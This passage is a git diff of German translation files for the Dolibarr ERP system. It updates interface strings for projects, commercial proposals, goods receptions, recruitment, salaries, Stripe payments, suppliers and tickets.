DestructionDate=Datum der Vernichtung FirstUseDate=Datum der ersten Verwendung diff --git a/htdocs/langs/de_DE/projects.lang b/htdocs/langs/de_DE/projects.lang index 6c9d5370ee3..599a47d8c88 100644 --- a/htdocs/langs/de_DE/projects.lang +++ b/htdocs/langs/de_DE/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Diese Ansicht ist beschränkt auf Projekt und Aufgaben bei welch TasksDesc=Diese Ansicht zeigt alle Projekte und Aufgaben (Ihre Benutzerberechtigungen berechtigt Sie alles zu sehen). AllTaskVisibleButEditIfYouAreAssigned=Alle Aufgaben für qualifizierte Projekte sind sichtbar, Sie können jedoch nur die Zeit für die Aufgabe eingeben, die dem ausgewählten Benutzer zugewiesen ist. Weisen Sie eine Aufgabe zu, wenn Sie Zeiten dafür eingeben müssen. OnlyYourTaskAreVisible=Nur Ihnen zugewiesene Aufgaben sind sichtbar. Wenn Sie Zeit für eine Aufgabe eingeben müssen und die Aufgabe hier nicht sichtbar ist, müssen Sie sich die Aufgabe selbst zuweisen. +ImportDatasetProjects=Projekte oder Leads ImportDatasetTasks=Aufgaben der Projekte ProjectCategories=Projektkategorien/Tags NewProject=Neues Projekt @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Betrag der Leads aus offenen Projekten nach OpportunitiesStatusForProjects=Anzahl Kundeninteressen je Projekt nach Status ShowProject=Projekt anzeigen ShowTask=Aufgabe anzeigen +SetThirdParty=Geschäftspartner festlegen SetProject=Projekt einstellen +OutOfProject=Außerhalb des Projekts NoProject=Kein Projekt definiert oder keine Rechte NbOfProjects=Anzahl Projekte NbOfTasks=Anzahl Aufgaben @@ -50,7 +53,7 @@ RefTask=Aufgabenreferenz LabelTask=Aufgabenbezeichnung TaskTimeSpent=Zeitaufwände für Aufgaben TaskTimeUser=Benutzer -TaskTimeNote=Hinweis +TaskTimeNote=Anmerkung TaskTimeDate=Datum TasksOnOpenedProject=Aufgaben in offenen Projekten WorkloadNotDefined=Arbeitsaufwand nicht definiert @@ -122,7 +125,8 @@ ValidateProject=Projekt freigeben ConfirmValidateProject=Möchten Sie dieses Projekt wirklich freigeben? CloseAProject=Projekt schließen ConfirmCloseAProject=Möchten Sie dieses Projekt wirklich schließen? -AlsoCloseAProject=Das Projekt auch schließen (lassen Sie es offen, wenn Sie noch Produktions-Aufgaben laufen haben) +AlsoCloseAProject=Projekt auch schließen +AlsoCloseAProjectTooltip=Offen lassen, wenn Sie noch zugehörige Produktionsaufgaben verfolgen müssen ReOpenAProject=Projekt öffnen ConfirmReOpenAProject=Möchten Sie dieses Projekt wirklich wiedereröffnen? ProjectContact=Projektkontakte @@ -165,7 +169,7 @@ OpportunityProbability=Wahrscheinlichkeit Kundeninteresse OpportunityProbabilityShort=Wahrscheinl. Kundeninteresse OpportunityAmount=Wert/Betrag für Lead OpportunityAmountShort=Wert/Betrag für Lead -OpportunityWeightedAmount=Gewichteter Wert der Verkaufschance +OpportunityWeightedAmount=Opportunitätsbetrag, gewichtet nach Wahrscheinlichkeit OpportunityWeightedAmountShort=Verkaufsschancen gew. OpportunityAmountAverageShort=Kundeninteresse im Durchschnitt OpportunityAmountWeigthedShort=Kundeninteresse gewichtet @@ -238,7 +242,7 @@ OppStatusPENDING=Anstehend OppStatusWON=Gewonnen OppStatusLOST=Verloren Budget=Budget -AllowToLinkFromOtherCompany=Verknüpfungen der Projekte anderer Unternehmen zulassen

      Unterstützte Werte:
      - Leer lassen: Jedes Projekt des Unternehmens kann verknüpft werden (Standard)
      - "all": Alle Projekte verknüpfen, auch Projekte anderer Unternehmen
      - Eine kommagetrennte Liste von Geschäftspartner-IDs: alle Projekte dieser Geschäftspartner (Beispiel: 123,4795,53)
      +AllowToLinkFromOtherCompany=Element mit einem Projekt einer anderen Firma verknüpfen

      Unterstützte Werte:
      - Leer lassen: Kann Elemente mit beliebigen Projekten in derselben Firma verknüpfen (Standard)
      - "alle": Verknüpfung mit allen Projekten, auch denen anderer Unternehmen
      - Eine durch Kommas getrennte Liste von Drittanbieter-IDs: kann Elemente mit beliebigen Projekten dieser Drittanbieter verknüpfen (Beispiel: 123,4795,53) LatestProjects=%s neueste Projekte LatestModifiedProjects=Zuletzt bearbeitete Projekte (maximal %s) OtherFilteredTasks=Andere gefilterte Aufgaben @@ -255,11 +259,12 @@ RecordsClosed=%s Projekt(e) geschlossen SendProjectRef=Informationen zu Projekt %s ModuleSalaryToDefineHourlyRateMustBeEnabled=Das Modul 'Gehälter' muss aktiviert sein, um den Stundensatz des Mitarbeiters zu definieren und den Zeitaufwand zu bewerten NewTaskRefSuggested=Aufgabenreferenz bereits verwendet, eine neue Aufgabenreferenz ist erforderlich +NumberOfTasksCloned=%s Aufgabe(n) geklont TimeSpentInvoiced=Zeitaufwand in Rechnung gestellt TimeSpentForIntervention=Zeitaufwand TimeSpentForInvoice=Zeitaufwand OneLinePerUser=Eine Zeile pro Benutzer -ServiceToUseOnLines=Zeiten über Leistung abrechnen +ServiceToUseOnLines=Standardmäßig in den Einzelpositionen zu verwendende Leistung InvoiceGeneratedFromTimeSpent=Die Rechnung %s wurde aus der für das Projekt aufgewendeten Zeit generiert InterventionGeneratedFromTimeSpent=Der Serviceauftrag %s wurde aus der für das Projekt aufgewendeten Zeit generiert ProjectBillTimeDescription=Auswählen, wenn Arbeitszeiten für Projektaufgaben erfasst UND Rechnungen aus diesen Zeiten erzeugt werden sollen, um mit dem Kunden des Projekts abzurechnen (nicht auswählen, wenn nur Rechnungen erstellt werden sollen, die nicht auf erfassten Arbeitszeiten basieren). Hinweis: Um eine Rechnung zu erstellen, gehen Sie auf die Registerkarte 'Zeitaufwand' des Projekts und wählen die abzurechnenden Zeilen aus. @@ -282,7 +287,7 @@ ProfitIsCalculatedWith=Der Gewinn wird berechnet mit AddPersonToTask=Auch zu Aufgaben hinzufügen UsageOrganizeEvent=Verwendung: Organisation von Veranstaltungen PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Klassifizieren Sie das Projekt als abgeschlossen, wenn alle seine Aufgaben abgeschlossen sind (100%% Fortschritt). -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Hinweis: Bestehende Projekte mit allen Aufgaben mit dem Fortschritt 100%% sind nicht betroffen: Sie müssen sie manuell schließen. Diese Option betrifft nur offene Projekte. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Hinweis: Bestehende Projekte, bei denen alle Aufgaben bereits auf einen Fortschritt von 100%% eingestellt sind, werden nicht berücksichtigt: Sie müssen sie manuell schließen. Diese Option wirkt sich nur auf geöffnete Projekte aus. SelectLinesOfTimeSpentToInvoice=Wählen Sie Positionen mit Zeiten aus, die noch nicht in Rechnung gestellt wurden, und führen Sie dann die Massenaktion "Rechnung erstellen" aus, um sie zu berechnen ProjectTasksWithoutTimeSpent=Projektaufgaben ohne Zeitaufwand FormForNewLeadDesc=Vielen Dank für das Ausfüllen des Formulars, um uns zu kontaktieren. Sie können uns auch direkt eine E-Mail an %s senden. @@ -294,3 +299,4 @@ EnablePublicLeadForm=Öffentliches Kontaktformular aktivieren NewLeadbyWeb=Ihre Nachricht bzw. Anfrage wurde erfasst. Wir werden uns so bald wie möglich mit Ihnen in Verbindung setzen. NewLeadForm=Neues Kontaktformular LeadFromPublicForm=Online-Interessent per öffentlichem Formular +ExportAccountingReportButtonLabel=Bericht erhalten diff --git a/htdocs/langs/de_DE/propal.lang b/htdocs/langs/de_DE/propal.lang index 8a587547f9d..4284af6117f 100644 --- a/htdocs/langs/de_DE/propal.lang +++ b/htdocs/langs/de_DE/propal.lang @@ -3,12 +3,12 @@ Proposals=Angebote Proposal=Angebot ProposalShort=Angebot ProposalsDraft=Angebotsentwürfe -ProposalsOpened=offene Angebote +ProposalsOpened=Offene Angebote CommercialProposal=Angebot PdfCommercialProposalTitle=Angebot ProposalCard=Angebot – Übersicht NewProp=Neues Angebot -NewPropal=neues Angebot +NewPropal=Neues Angebot Prospect=Interessent DeleteProp=Angebot löschen ValidateProp=Angebot freigeben @@ -20,7 +20,7 @@ LastModifiedProposals=Zuletzt bearbeitete Angebote (maximal %s) AllPropals=Alle Angebote SearchAProposal=Angebot suchen NoProposal=kein Angebot -ProposalsStatistics=Angebote - Statistiken +ProposalsStatistics=Angebote – Statistiken NumberOfProposalsByMonth=Anzahl pro Monat AmountOfProposalsByMonthHT=Betrag pro Monat (ohne Steuern) NbOfProposals=Anzahl der Angebote @@ -30,13 +30,13 @@ PropalsOpened=Offen PropalStatusDraft=Entwurf (freizugeben) PropalStatusValidated=Freigegeben (Angebot ist offen) PropalStatusSigned=unterzeichnet (abrechenbar) -PropalStatusNotSigned=abgelehnt (geschlossen) +PropalStatusNotSigned=Abgelehnt (geschlossen) PropalStatusBilled=Verrechnet PropalStatusDraftShort=Entwurf PropalStatusValidatedShort=Freigegeben (offen) PropalStatusClosedShort=geschlossen -PropalStatusSignedShort=beauftragt -PropalStatusNotSignedShort=abgelehnt +PropalStatusSignedShort=Beauftragt +PropalStatusNotSignedShort=Abgelehnt PropalStatusBilledShort=Verrechnet PropalsToClose=Zu schließende Angebote PropalsToBill=Unterzeichnete Angebote zur Verrechnung @@ -47,9 +47,9 @@ SendPropalByMail=Angebot per E-Mail versenden DatePropal=Angebotsdatum DateEndPropal=Gültig bis ValidityDuration=Gültigkeitsdauer -SetAcceptedRefused=Setze beauftragt / abgelehnt +SetAcceptedRefused=Setze beauftragt/abgelehnt ErrorPropalNotFound=Angebot %s nicht gefunden -AddToDraftProposals=Zu Angebots-Entwurf hinzufügen +AddToDraftProposals=Zu Angebotsentwurf hinzufügen NoDraftProposals=Keine Angebotsentwürfe CopyPropalFrom=Erstelle neues Angebot durch Kopieren eines vorliegenden Angebots CreateEmptyPropal=Erstelle leeres Angebot oder aus der Liste der Produkte/Leistungen @@ -64,50 +64,55 @@ ProposalLines=Angebotszeilen AvailabilityPeriod=Gültig bis SetAvailability=Gültigkeitszeitraum definieren AfterOrder=nach Bestellung -OtherProposals=zeige weitere Angebote für diesen Partner +OtherProposals=Zeige weitere Angebote für diesen Geschäftspartner + ##### Availability ##### AvailabilityTypeAV_NOW=Sofort AvailabilityTypeAV_1W=7 Tage AvailabilityTypeAV_2W=14 Tage AvailabilityTypeAV_3W=3 Wochen AvailabilityTypeAV_1M=1 Monat -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Vertreter für Angebot TypeContact_propal_external_BILLING=Kontakt für Kundenrechnungen TypeContact_propal_external_CUSTOMER=Kundenkontakt für Angebot TypeContact_propal_external_SHIPPING=Kundenkontakt für Lieferung + # Document models -DocModelAzurDescription=Ein vollständiges Angebotsmodell (alte Implementierung der Cyan-Vorlage) -DocModelCyanDescription=Ein vollständiges Angebotsmodell -DefaultModelPropalCreate=Erstellung Standardvorlage -DefaultModelPropalToBill=Standardvorlage, wenn Sie ein Angebot schließen wollen (zur Verrechung) -DefaultModelPropalClosed=Standardvorlage, wenn sie ein Angebot schließen wollen (ohne Rechnung) -ProposalCustomerSignature=Bei Beauftragung: Name in Klarschrift, Ort, Datum, Unterschrift -ProposalsStatisticsSuppliers=Statistik Lieferantenanfragen -CaseFollowedBy=Fall gefolgt von -SignedOnly=nur signiert -NoSign=Auf "abgelehnt" setzen -NoSigned=auf "abgelehnt" setzen CantBeNoSign=Kann nicht auf "abgelehnt" gesetzt werden +CaseFollowedBy=Fall gefolgt von ConfirmMassNoSignature=Massenbestätigung für "abgelehnt" ConfirmMassNoSignatureQuestion=Möchten Sie die ausgewählten Datensätze wirklich auf den Status "abgelehnt" setzen? -IsNotADraft=ist kein Entwurf -PassedInOpenStatus=wurde freigegeben -Sign=Beauftragen -Signed=beauftragt -ConfirmMassValidation=Massenbestätigung für Validierung ConfirmMassSignature=Massenbestätigung Unterzeichnung -ConfirmMassValidationQuestion=Möchten Sie die ausgewählten Datensätze wirklich freigeben? ConfirmMassSignatureQuestion=Möchten Sie die ausgewählten Datensätze wirklich beauftragen? -IdProposal=Angebots-ID +ConfirmMassValidation=Massenbestätigung für Validierung +ConfirmMassValidationQuestion=Möchten Sie die ausgewählten Datensätze wirklich freigeben? +ConfirmRefusePropal=Möchten Sie dieses Angebot wirklich ablehnen? +ContractSigned=Vertrag unterschrieben +DefaultModelPropalClosed=Standardvorlage, wenn sie ein Angebot schließen wollen (ohne Rechnung) +DefaultModelPropalCreate=Erstellung Standardvorlage +DefaultModelPropalToBill=Standardvorlage, wenn Sie ein Angebot schließen wollen (zur Verrechung) +DocModelAzurDescription=Ein vollständiges Angebotsmodell (alte Implementierung der Cyan-Vorlage) +DocModelCyanDescription=Ein vollständiges Angebotsmodell +FichinterSigned=Serviceauftrag unterzeichnet IdProduct=Produkt ID +IdProposal=Angebots-ID +IsNotADraft=ist kein Entwurf LineBuyPriceHT=Betrag Kaufpreis abzüglich Steuern für Zeile -SignPropal=Angebot annehmen +NoSign=Ablehnen +NoSigned=auf "abgelehnt" setzen +PassedInOpenStatus=wurde freigegeben +PropalAlreadyRefused=Angebot bereits abgelehnt +PropalAlreadySigned=Angebot bereits angenommen +PropalRefused=Angebot abgelehnt +PropalSigned=Angebot beauftragt +ProposalCustomerSignature=Name in Klarschrift, Ort, Datum, Unterschrift Auftraggeber +ProposalsStatisticsSuppliers=Statistik Lieferantenanfragen RefusePropal=Angebot ablehnen Sign=Beauftragen -NoSign=Auf "abgelehnt" setzen -PropalAlreadySigned=Angebot bereits angenommen -PropalAlreadyRefused=Angebot bereits abgelehnt -PropalSigned=Angebot beauftragt -PropalRefused=Angebot abgelehnt -ConfirmRefusePropal=Möchten Sie dieses Angebot wirklich ablehnen? +SignContract=Vertrag unterzeichnen +SignFichinter=Serviceauftrag unterzeichnen +SignPropal=Angebot annehmen +Signed=beauftragt +SignedOnly=nur signiert diff --git a/htdocs/langs/de_DE/receptions.lang b/htdocs/langs/de_DE/receptions.lang index 4728cc7b62d..51a284ed95b 100644 --- a/htdocs/langs/de_DE/receptions.lang +++ b/htdocs/langs/de_DE/receptions.lang @@ -1,7 +1,7 @@ # Dolibarr language file - Source file is en_US - receptions ReceptionDescription=Verwaltung des Wareneingangs (Empfangsdokumente erstellen) ReceptionsSetup=Wareneingang einrichten -RefReception=Wareneingangs Nummer +RefReception=Ref. Wareneingang Reception=Wareneingang Receptions=Wareneingänge AllReceptions=Alle Wareneingänge @@ -24,14 +24,15 @@ ReceptionsAndReceivingForSameOrder=Empfänge and receipts für dieses order ReceptionsToValidate=Empfänge an validate StatusReceptionCanceled=Storniert StatusReceptionDraft=Entwurf -StatusReceptionValidated=Validiert (zu erhaltende oder bereits erhaltene Produkte) -StatusReceptionValidatedToReceive=Validiert (zu erhaltende Produkte) -StatusReceptionValidatedReceived=Validiert (Produkte erhalten) +StatusReceptionValidated=Freigegeben (zu erhaltende oder bereits erhaltene Produkte) +StatusReceptionValidatedToReceive=Freigegeben (zu erhaltende Produkte) +StatusReceptionValidatedReceived=Freigegeben (Produkte erhalten) StatusReceptionProcessed=Bearbeitet StatusReceptionDraftShort=Entwurf StatusReceptionValidatedShort=Freigegeben StatusReceptionProcessedShort=Bearbeitet ReceptionSheet=Empfangsblatt +ValidateReception=Warenempfang bestätigen ConfirmDeleteReception=Möchten Sie diesen Wareneingang wirklich löschen? ConfirmValidateReception=Möchten Sie diesen Wareneingang mit der Referenz %s wirklich freigeben ? ConfirmCancelReception=Möchten Sie diesen Wareneingang wirklich stornieren? @@ -48,7 +49,6 @@ ReceptionsNumberingModules=Nummerierungsmodul für Empfänge ReceptionsReceiptModel=Dokumentvorlagen für Empfänge NoMorePredefinedProductToDispatch=Keine vordefinierten Produkte mehr zum Versand ReceptionExist=Ein Wareneingang ist vorhanden -ByingPrice=Einkaufspreis ReceptionBackToDraftInDolibarr=Wareneingang%s zurück auf Entwurf ReceptionClassifyClosedInDolibarr=Wareneingang %s als geschlossen klassifizieren ReceptionUnClassifyCloseddInDolibarr=Wareneingang %s wieder öffnen diff --git a/htdocs/langs/de_DE/recruitment.lang b/htdocs/langs/de_DE/recruitment.lang index beb8ab5994e..e3505d06789 100644 --- a/htdocs/langs/de_DE/recruitment.lang +++ b/htdocs/langs/de_DE/recruitment.lang @@ -20,7 +20,7 @@ # Module label 'ModuleRecruitmentName' ModuleRecruitmentName = Personalbeschaffung # Module description 'ModuleRecruitmentDesc' -ModuleRecruitmentDesc = Verwalten und verfolgen Sie Rekrutierungs-Kampagnen für neue Job-Positionen. +ModuleRecruitmentDesc = Verwalten und verfolgen Sie Rekrutierungs-Kampagnen für offene Stellen # # Admin page @@ -40,32 +40,33 @@ RecruitmentAbout = Über Rekrutierung RecruitmentAboutPage = Seite 'Über Personalbeschaffung' NbOfEmployeesExpected=Erwartete Anzahl von Mitarbeitern JobLabel=Bezeichnung der beruflichen Position -WorkPlace=Arbeitsplatz +WorkPlace=Arbeitsort DateExpected=Erwartetes Datum -FutureManager=Zukünftiger Manager +FutureManager=Zukünftiger Verantwortlicher ResponsibleOfRecruitement=Verantwortlicher für die Personalbeschaffung -IfJobIsLocatedAtAPartner=Wenn sich der Job an einem Partnerort befindet +IfJobIsLocatedAtAPartner=Wenn sich die Stelle am Standort eines Geschäftspartners befindet PositionToBeFilled=Offene Stelle PositionsToBeFilled=Offene Stellen ListOfPositionsToBeFilled=Liste der offenen Stellen -NewPositionToBeFilled=Neue offene Stellen +NewPositionToBeFilled=Neue offene Stelle(n) JobOfferToBeFilled=Zu besetzende Stelle ThisIsInformationOnJobPosition=Information über die zu besetzende Stelle ContactForRecruitment=Ansprechpartner für die Rekrutierung -EmailRecruiter=E-Mail Rekruter +EmailRecruiter=E-Mail-Adresse verwenden ToUseAGenericEmail=So verwenden Sie eine generische E-Mail. Falls nicht definiert, wird die E-Mail-Adresse des für die Personalbeschaffung Verantwortlichen verwendet NewCandidature=Neue Bewerbung ListOfCandidatures=Liste der Bewerbungen -RequestedRemuneration=gewünschtes Gehalt -ProposedRemuneration=vorgeschlagenes Gehalt +Remuneration=Gehalt +RequestedRemuneration=Gefordertes Gehalt +ProposedRemuneration=Gehaltsvorschlag ContractProposed=Vertrag unterbreitet ContractSigned=Vertrag unterschrieben ContractRefused=Vertrag abgelehnt RecruitmentCandidature=Bewerbung JobPositions=Offene Stellen RecruitmentCandidatures=Bewerbungen -InterviewToDo=Bewerbungsgespräch machen +InterviewToDo=Nachzuverfolgende Kontakte AnswerCandidature=Antwort auf die Bewerbung YourCandidature=Ihre Bewerbung YourCandidatureAnswerMessage=Vielen Dank für Ihre Bewerbung.
      ... diff --git a/htdocs/langs/de_DE/salaries.lang b/htdocs/langs/de_DE/salaries.lang index cff8bef69b0..cd3e8d03ccd 100644 --- a/htdocs/langs/de_DE/salaries.lang +++ b/htdocs/langs/de_DE/salaries.lang @@ -1,5 +1,5 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Standard Buchungskonto für Benutzer von Geschäftspartnern +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Konto (aus dem Kontenplan), das standardmäßig für Geschäftspartner, die „Benutzer“ sind, verwendet wird SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Das in der Benutzerkarte hinterlegte Konto wird nur für die Nebenbücher verwendet. Dieses Konto wird für das Hauptbuch und als Standardwert für die Nebenbücher verwendet, wenn beim Benutzer kein Konto hinterlegt ist. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Standard-Buchungskonto für Gehaltszahlungen CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Lassen Sie beim Erstellen eines Gehalts standardmäßig die Option "Gesamtzahlung automatisch erstellen" leer diff --git a/htdocs/langs/de_DE/stripe.lang b/htdocs/langs/de_DE/stripe.lang index 5db52f3c5c0..2cefe44f2be 100644 --- a/htdocs/langs/de_DE/stripe.lang +++ b/htdocs/langs/de_DE/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook Produktivschlüssel ONLINE_PAYMENT_WAREHOUSE=Warenlager für die Bestandsminderung bei Onlinezahlung
      (TODO When option to decrease stock is done on an action on invoice and the online payment generate itself the invoice?) StripeLiveEnabled=Stripe live aktiviert (Nicht im Test/Sandbox Modus) StripeImportPayment=Stripe Zahlungen importieren -ExampleOfTestCreditCard=Beispiel für eine zu testende Kreditkarte: %s => gültig, %s => Fehler CVC, %s => abgelaufen, %s => Belastung fehlgeschlagen +ExampleOfTestCreditCard=Beispiel Kreditkarte für SEPA-Test: %s => gültig, %s => Fehler CVC, %s => abgelaufen, %s => Belastung fehlgeschlagen +ExampleOfTestBankAcountForSEPA=Beispiel Bankkonto IBAN für Lastschrifttest: %s StripeGateways=Stripe Gateways OAUTH_STRIPE_TEST_ID=Stripe Connect Client ID (ca_...) OAUTH_STRIPE_LIVE_ID=Stripe Connect Client ID (ca_...) @@ -61,6 +62,7 @@ DeleteACard=Karte löschen ConfirmDeleteCard=Wollen Sie diese Debit- oder Kreditkarte wirklich löschen? CreateCustomerOnStripe=Kunden auf Stripe erstellen CreateCardOnStripe=Karte auf Stripe erstellen +CreateBANOnStripe=Bank auf Stripe erstellen ShowInStripe=In Stripe anzeigen StripeUserAccountForActions=Benutzerkonto zur E-Mail-Benachrichtigung über einige Stripe-Ereignisse (Stripe-Auszahlungen) StripePayoutList=Liste der Auszahlungen @@ -69,4 +71,8 @@ ToOfferALinkForLiveWebhook=Link zum Einrichten von Stripe WebHook zum Aufruf von PaymentWillBeRecordedForNextPeriod=Die Zahlung wird für den folgenden Zeitraum erfasst. ClickHereToTryAgain=Hier klicken und nochmal versuchen... CreationOfPaymentModeMustBeDoneFromStripeInterface=Aufgrund strenger Kundenauthentifizierungs-Regeln muss die Erstellung einer Karte im Stripe-Backoffice erfolgen. Sie können hier klicken, um zum Stripe-Kundendatensatz zu wechseln: %s -TERMINAL_LOCATION=Standort (Adresse) für Terminals +STRIPE_CARD_PRESENT='Card present' für Stripe-Terminals +TERMINAL_LOCATION=Standort (Adresse) für Stripe-Terminals +RequestDirectDebitWithStripe=Lastschrift über Stripe anfordern +STRIPE_SEPA_DIRECT_DEBIT=Aktivieren Sie die Lastschriftzahlungen über Stripe + diff --git a/htdocs/langs/de_DE/suppliers.lang b/htdocs/langs/de_DE/suppliers.lang index a94d13880eb..dcaff8ccee7 100644 --- a/htdocs/langs/de_DE/suppliers.lang +++ b/htdocs/langs/de_DE/suppliers.lang @@ -4,6 +4,7 @@ SuppliersInvoice=Lieferantenrechnung SupplierInvoices=Lieferantenrechnungen ShowSupplierInvoice=Zeige Lieferantenrechnung NewSupplier=Neuer Lieferant +NewSupplierInvoice = Neue Lieferantenrechnung History=Verlauf ListOfSuppliers=Liste der Lieferanten ShowSupplier=zeige Lieferant @@ -16,7 +17,7 @@ SomeSubProductHaveNoPrices=Einige Unterprodukte haben keinen Preis. AddSupplierPrice=Einkaufspreis anlegen ChangeSupplierPrice=Einkaufspreis ändern SupplierPrices=Lieferantenpreise -ReferenceSupplierIsAlreadyAssociatedWithAProduct=Für dieses Produkt existiert bereits ein Lieferantenpreis vom gewählten Anbieter: %s +ReferenceSupplierIsAlreadyAssociatedWithAProduct=Diese Lieferanten-Artikelnummer ist bereits einem anderen Produkt verknüpft: %s NoRecordedSuppliers=kein Lieferant vorhanden SupplierPayment=Lieferanten Zahlvorgang SuppliersArea=Lieferanten Übersicht @@ -36,7 +37,7 @@ ListOfSupplierProductForSupplier=Liste der Produkte und Preise für Lieferanten SentToSuppliers=An Lieferanten versandt ListOfSupplierOrders=Liste der Lieferantenbestellungen MenuOrdersSupplierToBill=Lieferantenbestellungen zu Rechnungen -NbDaysToDelivery=Lieferverzug (Tage) +NbDaysToDelivery=Lieferdauer (Tage) DescNbDaysToDelivery=Die längste Lieferverzögerung der Produkte aus dieser Bestellung SupplierReputation=Lieferanten-Reputation ReferenceReputation=Ref. Reputation diff --git a/htdocs/langs/de_DE/ticket.lang b/htdocs/langs/de_DE/ticket.lang index 599cd4f9009..c719ea80a1e 100644 --- a/htdocs/langs/de_DE/ticket.lang +++ b/htdocs/langs/de_DE/ticket.lang @@ -26,14 +26,16 @@ Permission56002=Tickets ändern Permission56003=Tickets löschen Permission56004=Tickets bearbeiten Permission56005=Tickets aller Geschäftspartner anzeigen (nicht gültig für externe Benutzer, diese sehen immer nur die Tickets des eigenen Geschäftspartners) +Permission56006=Tickets exportieren +Tickets=Tickets TicketDictType=Ticket-Anfragearten TicketDictCategory=Ticket-Themengruppen TicketDictSeverity=Ticket-Dringlichkeiten TicketDictResolution=Ticket-Auflösung TicketTypeShortCOM=Anfrage an Verkauf -TicketTypeShortHELP=Erbitte funktionale Hilfestellung +TicketTypeShortHELP=Antrag auf funktionelle Hilfe TicketTypeShortISSUE=Problem oder Fehler TicketTypeShortPROBLEM=Problem TicketTypeShortREQUEST=Änderungs- oder Erweiterungsanforderung @@ -60,10 +62,12 @@ TypeContact_ticket_external_CONTRIBUTOR=Externer Mitarbeiter OriginEmail=Ersteller E-Mail Notify_TICKET_SENTBYMAIL=Ticket Nachricht per E-Mail versenden +ExportDataset_ticket_1=Tickets + # Status Read=Gelesen Assigned=Zugewiesen -InProgress=in Bearbeitung +InProgress=In Bearbeitung NeedMoreInformation=Warten auf Feedback des Erstellers NeedMoreInformationShort=Warten auf Feedback Answered=Beantwortet @@ -149,6 +153,8 @@ TicketsAutoNotifyCloseHelp=Beim Schließen eines Tickets wird Ihnen vorgeschlage TicketWrongContact=Der bereitgestellte Kontakt ist nicht Teil der aktuellen Ticket-Kontakte. E-Mail nicht gesendet. TicketChooseProductCategory=Produktkategorie für Ticket-Support TicketChooseProductCategoryHelp=Wählen Sie die Produktkategorie für Ticket-Support aus. Dies wird verwendet, um einen Vertrag automatisch mit einem Ticket zu verknüpfen. +TicketUseCaptchaCode=Verwenden Sie beim Erstellen eines Tickets einen grafischen Code (CAPTCHA). +TicketUseCaptchaCodeHelp=Fügt eine CAPTCHA-Überprüfung beim Erstellen eines neuen Tickets hinzu. # # Index & list page @@ -192,20 +198,19 @@ TicketAssigned=Ticket ist nun zugewiesen TicketChangeType=Art ändern TicketChangeCategory=Analyse-Code ändern TicketChangeSeverity=Dringlichkeit ändern -TicketAddMessage=Nachricht hinzufügen -AddMessage=Nachricht hinzufügen +TicketAddMessage=Private Nachricht hinzufügen MessageSuccessfullyAdded=Ticket hinzugefügt TicketMessageSuccessfullyAdded=Mitteilung erfolgreich gespeichert TicketMessagesList=Liste der Mitteilungen NoMsgForThisTicket=Keine Mitteilungen zu diesem Ticket TicketProperties=Kategorisierung -LatestNewTickets=Neuste nicht gelesene Tickets (maximal %s) +LatestNewTickets=Neueste nicht gelesene Tickets (maximal %s) TicketSeverity=Dringlichkeit ShowTicket=Ticket zeigen RelatedTickets=Verknüpfte Tickets TicketAddIntervention=Serviceauftrag erstellen -CloseTicket=Ticket als gelöst markieren | schließen -AbandonTicket=Ticket verwerfen +CloseTicket=Schließen|Lösen +AbandonTicket=Aufgeben CloseATicket=ein Ticket als gelöst markieren | schließen ConfirmCloseAticket=Tichek schliessen bestätigen ConfirmAbandonTicket=Bestätigen Sie das Schließen des Tickets mit dem Status 'verworfen' @@ -219,18 +224,17 @@ SendMessageByEmail=Mitteilung via E-Mail senden TicketNewMessage=Neue Mitteilung ErrorMailRecipientIsEmptyForSendTicketMessage=Empfänger ist leer. Keine E-Mail gesendet TicketGoIntoContactTab=Gehen Sie in den Tab "Kotakte" und wählen Sie ihn aus -TicketMessageMailIntro=Einführung +TicketMessageMailIntro=Kopfzeile der Nachricht TicketMessageMailIntroHelp=Dieser Text wird am Anfang der E-Mail Nachricht hinzugefügt, aber nicht gespeichert. -TicketMessageMailIntroLabelAdmin=Einführungstext zu allen Ticket-Antworten TicketMessageMailIntroText=Hallo,
      eine neue Antwort wurde zu einem Ticket hinzugefügt, dem Sie folgen. Hier ist die Nachricht:
      TicketMessageMailIntroHelpAdmin=Dieser Text wird bei der Beantwortung eines Tickets von Dolibarr vor der Antwort eingefügt -TicketMessageMailSignature=E-Mail-Signatur -TicketMessageMailSignatureHelp=Dieser Text wird nur am Schluss der E-Mail angehängt und wird nicht beim Ticket gespeichert. -TicketMessageMailSignatureText=Nachricht gesendet von %s über Dolibarr -TicketMessageMailSignatureLabelAdmin=Signatur in Antwortmail -TicketMessageMailSignatureHelpAdmin=Dieser Text wird nach dem Antworttext angehängt. +TicketMessageMailFooter=Fußzeile der Nachricht +TicketMessageMailFooterHelp=Dieser Text wird nur am Ende der per E-Mail versendeten Nachricht eingefügt und nicht gespeichert. +TicketMessageMailFooterText=Nachricht gesendet von %s über Dolibarr +TicketMessageMailFooterHelpAdmin=Dieser Text wird nach dem Antworttext angehängt. TicketMessageHelp=Nur dieser Text wird in der Mitteilungsliste auf der Ticketkarte gespeichert. TicketMessageSubstitutionReplacedByGenericValues=Ersetzungsvariablen werden durch generische Werte ersetzt. +ForEmailMessageWillBeCompletedWith=Bei E-Mail-Nachrichten, die an externe Benutzer gesendet werden, wird die Nachricht ergänzt mit TimeElapsedSince=Seit TicketTimeToRead=Zeit bis das Ticket gelesen wurde TicketTimeElapsedBeforeSince=Verstrichene Zeit vor / seit @@ -241,13 +245,14 @@ TicketMessageMailIntroAutoNewPublicMessage=Eine neue Nachricht mit dem Betreff % TicketAssignedToYou=Zugewiesene Tickets TicketAssignedEmailBody=Das Ticket #%s wurde Ihnen durch %s zugewiesen MarkMessageAsPrivate=Meitteilung als Privat kennzeichnen +TicketMessageSendEmailHelp=Eine E-Mail wird an alle zugewiesenen Kontakte gesendet (interne Kontakte, aber auch externe Kontakte, außer wenn die Option "%s" aktiviert ist) 